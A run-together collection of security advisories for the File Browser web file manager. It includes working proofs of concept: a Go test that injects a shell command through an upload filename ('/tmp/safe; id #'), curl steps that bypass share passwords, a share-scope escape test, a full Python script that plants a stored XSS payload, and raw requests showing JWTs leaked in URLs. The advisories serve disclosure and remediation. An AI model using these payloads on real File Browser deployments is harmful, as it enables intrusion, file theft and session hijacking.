"github.com/filebrowser/filebrowser/v2/settings" )
func TestPoCFileHookInjection(t testing.T) { // Simulate an admin-configured shell-based hook r := &Runner{ Enabled: true, Settings: &settings.Settings{ Shell: []string{"sh", "-c"}, Commands: map[string][]string{ "afterupload": {"echo Uploaded $FILE"}, }, }, }
// Malicious filename crafted by the attacker maliciousFilename := "/tmp/safe; id #"
// Simulate the exec logic in runner/runner.go raw := r.Commands["afterupload"][0] command, , := ParseCommand(r.Settings, raw)
envMapping := func(key string) string { if key == "FILE" { return maliciousFilename } return os.Getenv(key) }
for i, arg := range command { if i == 0 { continue } // os.Expand substitutes $FILE with the attacker-controlled filename — // no escaping is applied, so shell metacharacters pass through unchanged. command[i] = os.Expand(arg, envMapping) }
// The resulting command argument is the injected shell script: // sh -c "echo Uploaded /tmp/safe; id #" expectedArg := "echo Uploaded /tmp/safe; id #" if command[2] != expectedArg { t.Errorf("Expected command argument %q, got %q", expectedArg, command[2]) }
t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command) }
filebrowser versions before 2.63.19 contain an out-of-scope file deletion vulnerability in the TUS upload cache eviction mechanism that allows authenticated users with only Create permission to delete arbitrary files outside their scope. Attackers can swap an ancestor directory with a symlink during the cache TTL window to redirect the raw os.Remove call to an out-of-scope target, bypassing ScopedFs scope guards and Perm.Delete checks.
Summary When users share password-protected files, the recipient can completely bypass the password and still download the file.
Details This happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password.
PoC 1. As an authenticated user, create a share for a file, with a password specified in "Optional password" (make sure to allow anonymous access as the PoC doesn't explain how to do this on a share that requires login, but it is also possible to do on a share that requires login, with some small tweaks to the API request) 2. Copy the first link (the clipboard WITHOUT an arrow) because the second one just completely skips the password without any effort required, which was mentioned in another vulnerability (https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3v48-283x-f2w4)
Now, the link that was copied should look like: https://yourdomain/public/share/yoursharehash example: https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA
Now, make a API request with any api client to GET https://yourdomain/public/api/shareinfo?hash=(the share hash from the link) example: https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA
If curl is preferred, a (command line based API client), here's the command: curl 'https://yourdomain/public/api/shareinfo?hash=yoursharehash' -H 'Accept: /' example: curl 'https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA' -H 'Accept: /'
Example response: { "shareTheme": "default", "title": "Shared files - IMG20240814213703451.jpg", "description": "A share has been sent to you to view or download.", "disableSidebar": false, "source": "/folder", "path": "/IMG20240814213703451.jpg/", "downloadURL": "https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D", "shareURL": "https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA", "enforceDarkLightMode": "default", "viewMode": "normal", "shareType": "normal", "sidebarLinks": [ { "name": "Share QR Code and Info", "category": "shareInfo", "target": "#", "icon": "qrcode" }, { "name": "Download", "category": "download", "target": "#", "icon": "download" } ], "hasPassword": true }
Look at the downloadURL. It encodes the "&" symbol as "\u0026" so just replace "\u0026" with "&", example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D should be changed to: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D
Then just copy paste the new link (example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D) into any browser, and the file will download. All without giving a password.
Impact This affects anyone who shares password-protected files.
Summary When a user creates a public share link for a directory, the withHashFile middleware in http/public.go (line 59) uses filepath.Dir(link.Path) to compute the BasePathFs root. This sets the filesystem root to the parent directory instead of the shared directory itself, allowing anyone with the share link to browse and download files from all sibling directories.
Details In http/public.go lines 52-64, the withHashFile function handles public share link requests:
go basePath := link.Path // e.g. "/documents/shared" filePath := ""
if file.IsDir { basePath = filepath.Dir(basePath) // BUG: becomes "/documents" (parent!) filePath = ifPath }
d.user.Fs = afero.NewBasePathFs(d.user.Fs, basePath)
When a directory at /documents/shared is shared, filepath.Dir("/documents/shared") evaluates to "/documents". The BasePathFs is then rooted at the parent directory /documents/, giving the share link access to everything under /documents/ - not just the intended /documents/shared/.
This affects both publicShareHandler (directory listing via /api/public/share/{hash}) and publicDlHandler (file download via /api/public/dl/{hash}/path).
PoC
1. Set up filebrowser with a user whose scope contains: 2. - /documents/shared/public-file.txt (intended to be shared) 3. - /documents/secrets/passwords.txt (NOT intended to be shared) 4. - /documents/private/financial.csv (NOT intended to be shared) 2. Create a public share link for the directory /documents/shared (via POST /api/share/documents/shared) 3. Access the share link: GET /api/public/share/{hash} 4. - Expected: Lists only contents of /documents/shared/ 5. - Actual: Lists contents of /documents/ (parent), revealing secrets/, private/, and shared/ directories 4. Download sibling files: GET /api/public/dl/{hash}/secrets/passwords.txt 5. - Expected: 404 or 403 (file outside share scope) 6. - Actual: 200 with file contents (sibling file downloaded successfully) Standalone Go test reproducing the exact vulnerable code path with afero.NewBasePathFs:
go func TestShareScopeEscape(t testing.T) { baseFs := afero.NewMemMapFs() afero.WriteFile(baseFs, "/documents/shared/public.txt", []byte("public"), 0644) afero.WriteFile(baseFs, "/documents/secrets/passwords.txt", []byte("admin:hunter2"), 0644)
linkPath := "/documents/shared" basePath := filepath.Dir(linkPath) // BUG: "/documents" scopedFs := afero.NewBasePathFs(baseFs, basePath)
// Sibling file is accessible through the share: f, err := scopedFs.Open("/secrets/passwords.txt") // err is nil - file accessible! Content: "admin:hunter2" }
This test passes, confirming the vulnerability.
Impact
Unauthenticated information disclosure (CWE-200, CWE-706). Anyone with a public share link for a directory can: - Browse all sibling directories and files of the shared directory - - Download any file within the parent directory scope - - This works without authentication (public shares) or after providing the share password (password-protected shares) All filebrowser v2.x installations that use directory sharing are affected.
Recommended Fix
Remove the filepath.Dir() call and use link.Path directly as the BasePathFs root:
go if file.IsDir { // Don't change basePath - keep it as link.Path filePath = ifPath } d.user.Fs = afero.NewBasePathFs(d.user.Fs, basePath)
Affected commit: e3d00d591b567a8bfe3b02e42ba586859002c77d (latest) File: http/public.go, line 59
FileBrowser versions before 2.63.19 fail to enforce the declared Upload-Length in the TUS resumable-upload PATCH endpoint, allowing authenticated users to write arbitrary data to disk. Attackers can send oversized request bodies that exceed the declared upload length to exhaust available disk space and cause service unavailability.
filebrowser through 2.63.23 fails to limit WebSocket message size in the /api/command handler before checking permissions, allowing authenticated users to buffer arbitrarily large messages. Attackers can send oversized WebSocket messages to exhaust server heap memory and cause denial of service regardless of EnableExec setting or Execute permission.
Summary The SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets branding.name to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users.
<br/>
Details http/static.go renders the SPA index.html using Go's text/template (NOT html/template) with custom delimiters [{[ and ]}]. Branding fields are inserted directly into HTML without any escaping:
go // http/static.go, line 16 — imports text/template instead of html/template "text/template"
// http/static.go, line 33 — branding.Name passed into template data "Name": d.settings.Branding.Name,
// http/static.go, line 97 — template parsed with custom delimiters, no escaping index := template.Must(template.New("index").Delims("[{[", "]}]").Parse(string(fileContents)))
The frontend template (frontend/public/index.html) embeds these fields directly: html <!-- frontend/public/index.html, line 16 --> [{[ if .Name -]}][{[ .Name ]}][{[ else ]}]File Browser[{[ end ]}]
<!-- frontend/public/index.html, line 42 --> content="[{[ if .Color -]}][{[ .Color ]}][{[ else ]}]#2979ff[{[ end ]}]"
Since text/template performs NO HTML escaping (unlike html/template), setting branding.name to </title><script>alert(1)</script> breaks out of the <title> tag and injects arbitrary script into every page load.
Additionally, when ReCaptcha is enabled, the ReCaptchaHost field is used as: html <script src="[{[.ReCaptchaHost]}]/recaptcha/api.js"></script> This allows loading arbitrary JavaScript from an admin-chosen origin.
No Content-Security-Policy header is set on the SPA entry point, so there is no CSP mitigation.
<br/>
PoC Below is the PoC python script that could be ran on test environment using docker compose:
yaml services:
filebrowser: image: filebrowser/filebrowser:v2.62.1 user: 0:0 ports: - "80:80"
And running this PoC python script: python import argparse import json import sys import requests
BANNER = """ Stored XSS via Branding Injection PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: http/static.go uses text/template (not html/template) Branding fields rendered unescaped into SPA index.html """
XSSMARKER = "XSSBRANDINGPOC12345" XSSPAYLOAD = ( '</title><script>window.' + XSSMARKER + '=1;' 'alert("XSS in File Browser branding")</script><title>' )
def login(base: str, username: str, password: str) -> str: r = requests.post(f"{base}/api/login", json={"username": username, "password": password}, timeout=10) if r.statuscode != 200: print(f" Login failed: {r.statuscode}") sys.exit(1) return r.text.strip('"')
def main(): sys.stdout.write(BANNER) sys.stdout.flush()
ap = argparse.ArgumentParser( formatterclass=argparse.RawDescriptionHelpFormatter, description="Stored XSS via branding injection PoC", epilog="""examples: %(prog)s -t http://localhost -u admin -p admin %(prog)s -t http://target.com/filebrowser -u admin -p secret
how it works: 1. Authenticates as admin to File Browser 2. Sets branding.name to a <script> payload via PUT /api/settings 3. Fetches the SPA index (unauthenticated) to verify the payload renders unescaped in the HTML <title> tag
root cause: http/static.go renders the SPA index.html using Go's text/template (NOT html/template) with custom delimiters [{[ and ]}]. Branding fields like Name are inserted directly into HTML: <title>[{[.Name]}]</title> No escaping is applied, so HTML/JS in the name breaks out of the <title> tag and executes as script.
impact: Stored XSS affecting ALL visitors (including unauthenticated). An admin (or attacker who compromised admin) can inject persistent JavaScript that steals credentials from every user who visits.""", )
ap.addargument("-t", "--target", required=True, help="Base URL of File Browser (e.g. http://localhost)") ap.addargument("-u", "--user", required=True, help="Admin username") ap.addargument("-p", "--password", required=True, help="Admin password") if len(sys.argv) == 1: ap.printhelp() sys.exit(1) args = ap.parseargs()
base = args.target.rstrip("/") hdrs = lambda tok: {"X-Auth": tok, "Content-Type": "application/json"}
print() print("[] ATTACK BEGINS...") print("====================")
print(f"\n [1] Authenticating to {base}") token = login(base, args.user, args.password) print(f" Logged in as: {args.user}")
print(f"\n [2] Injecting XSS payload into branding.name") r = requests.get(f"{base}/api/settings", headers=hdrs(token), timeout=10) if r.statuscode != 200: print(f" Failed: GET /api/settings returned {r.statuscode}") print(f" (requires admin privileges)") sys.exit(1) settings = r.json() settings["branding"]["name"] = XSSPAYLOAD r = requests.put(f"{base}/api/settings", headers=hdrs(token), json=settings, timeout=10) if r.statuscode != 200: print(f" Failed: PUT /api/settings returned {r.statuscode}") sys.exit(1) print(f" Payload injected")
print(f"\n [3] Verifying XSS renders in unauthenticated SPA") r = requests.get(f"{base}/", timeout=10) html = r.text
if XSSMARKER in html: print(f" XSS payload found in HTML response!") for line in html.split("\n"): if XSSMARKER in line: print(f" >>> {line.strip()[:120]}") csp = r.headers.get("Content-Security-Policy", "") if not csp: print(f" No CSP header — script executes without restriction") confirmed = True else: print(f" Payload NOT found in HTML") confirmed = False
print() print("====================")
if confirmed: print() print("CONFIRMED: text/template renders branding.name without escaping.") print("The <title> tag is broken and arbitrary <script> executes.") print("Every visitor (authenticated or not) receives the payload.") print() print(f"Open {base}/ in a browser to see the alert() popup.") else: print() print("NOT CONFIRMED in this test run.") print()
if name == "main": main()
And terminal output: bash root@server205:~/sec-filebrowser# python3 pocbrandingxss.py -t http://localhost -u admin -p "jhSR9z9pofv5evlX"
Stored XSS via Branding Injection PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: http/static.go uses text/template (not html/template) Branding fields rendered unescaped into SPA index.html
[] ATTACK BEGINS... ====================
[1] Authenticating to http://localhost Logged in as: admin
[2] Injecting XSS payload into branding.name Payload injected
[3] Verifying XSS renders in unauthenticated SPA XSS payload found in HTML response! >>> </title><script>window.XSSBRANDINGPOC12345=1;alert("XSS in File Browser branding")</script><title> >>> window.FileBrowser = {"AuthMethod":"json","BaseURL":"","CSS":false,"Color":"","DisableExternal":false,"DisableUsedPercen No CSP header — script executes without restriction
====================
CONFIRMED: text/template renders branding.name without escaping. The <title> tag is broken and arbitrary <script> executes. Every visitor (authenticated or not) receives the payload.
Open http://localhost/ in a browser to see the alert() popup.
<br/>
Impact - Stored XSS affecting ALL visitors including unauthenticated users - Persistent backdoor — the payload survives until branding is manually changed
Summary
URLs that are accessed by a user are commonly logged in many locations, both server- and client-side. It is thus good practice to never transmit any secret information as part of a URL. The Filebrowser violates this practice, since access tokens are used as GET parameters.
Impact
The JSON Web Token (JWT) which is used as a session identifier will get leaked to anyone having access to the URLs accessed by the user. This will give the attacker full access to the user's account and, in consequence, to all sensitive files the user has access to.
Description
Sensitive information in URLs is logged by several components (see the following examples), even if access is protected by TLS.
The browser history The access logs on the affected web server Proxy servers or reverse proxy servers Third-party servers via the HTTP referrer header
In case attackers can access certain logs, they could read the included sensitive data.
Proof of Concept ##
When a file is downloaded via the web interface, the JWT is part of the URL:
http GET /api/raw/testdir/testfile.txt?auth=eyJh[...]r4EQ HTTP/1.1 Host: filebrowser.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: http://filebrowser.local:8080/files/testdir/ Cookie: auth=eyJh[...]r4EQ Upgrade-Insecure-Requests: 1 Priority: u=0, i
This also happens when a new command session is started:
http GET /api/command/?auth=eyJh[...]YW8BA HTTP/1.1 Host: filebrowser.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Sec-WebSocket-Version: 13 Origin: http://filebrowser.local:8080 Sec-WebSocket-Key: oqQMrF7R34D3lAkj1+ZHTw== Connection: keep-alive, Upgrade Cookie: auth=eyJh[...]YW8BA Pragma: no-cache Cache-Control: no-cache Upgrade: websocket
Recommended Countermeasures ##
Sensitive data like session tokens or user credentials should be transmitted via HTTP headers or the HTTP body only, never in the URL.
Timeline ##
2025-03-27 Identified the vulnerability in version 2.32.0 2025-04-11 Contacted the project 2025-04-29 Vulnerability disclosed to the project 2025-06-25 Uploaded advisories to the project's GitHub repository 2025-06-26 CVE ID assigned by GitHub 2025-06-26 Fix released in version 2.33.9
References ##
CWE-598: Use of GET Request Method With Sensitive Query Strings
Credits ##
Mathias Tausig (SBA Research)